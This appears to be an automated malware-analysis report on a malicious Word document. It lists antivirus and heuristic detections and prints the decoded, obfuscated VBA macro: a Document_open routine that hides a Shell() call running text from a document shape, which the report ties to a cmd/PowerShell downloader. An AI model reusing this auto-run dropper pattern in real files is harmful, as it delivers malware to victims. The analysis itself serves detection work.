MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1204.002 Malicious File
The sample contains a VBA macro that uses the Shell() function to execute a command. This command, in turn, uses PowerShell to decode and execute a Base64 encoded string, which likely downloads and runs a second-stage payload. The presence of the `CMD C:\wIndowS\sySTem32\CMD.ExE /C ...` string and the PowerShell execution strongly indicate a downloader functionality.
Heuristics 8
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ClamAV: Doc.Downloader.00536d-6923145-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.00536d-6923145-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
FormatDateTime (nbGjl + XYHjX / Qvvcst + jfSRhA) + ZzkWS + RpTIT + KaXjNm + OLSSM mkvzmhAiwoR = Shell("" + SjbPB + FioPjT + Shapes(tVGjlE + MMqniBlB + 1 + XnNbJrt + BVIuVa).TextFrame.TextRange.Text + zCUrCzmO + inDtn, 677413861 - 677413861) Error vACSMP + RrSYES * (NHIlw + uVnbM) -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_open() On Error Resume Next -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
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Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
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LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1139 bytes |
SHA-256: c6108e31da7f6a9cd6bd2d1774b6a619cc00b837976a8a5f82e7fa7ef77174d8 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "CUAoYJGkiocz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
FormatNumber (vYhnW + PFanCl * (AVclf + JjwCk))
FormatDateTime dnURT + zoZGf + AKvipN + TXDGwX + oatws + QTWYla + (TjURr + BuDuWo + oOiZh + uwZWv)
FormatDateTime QjLuJZ + dDdNPX + ZDNafo + VYToq - SiwWw + fciuji * ukzsOV + sjfic
Error fizQtr + HiaDaL * (Wlskzz + rsWBf + PqVbm + jVqznN) - pkTQF + kZWwf + HUSnqc + OoTRM
FormatNumber uIrGS + YwEHR - rBrIj + CtiYjE
TimeValue WSlUK + jOfYn + NQJbcn + BjPIw / fSlLG + YvulzE + wuKwuz + bYzEkq * (CZoGKp + iGuCZ + PqTfKX + oOrmUJ)
FormatDateTime (nbGjl + XYHjX / Qvvcst + jfSRhA) + ZzkWS + RpTIT + KaXjNm + OLSSM
mkvzmhAiwoR = Shell("" + SjbPB + FioPjT + Shapes(tVGjlE + MMqniBlB + 1 + XnNbJrt + BVIuVa).TextFrame.TextRange.Text + zCUrCzmO + inDtn, 677413861 - 677413861)
Error vACSMP + RrSYES * (NHIlw + uVnbM)
End Sub
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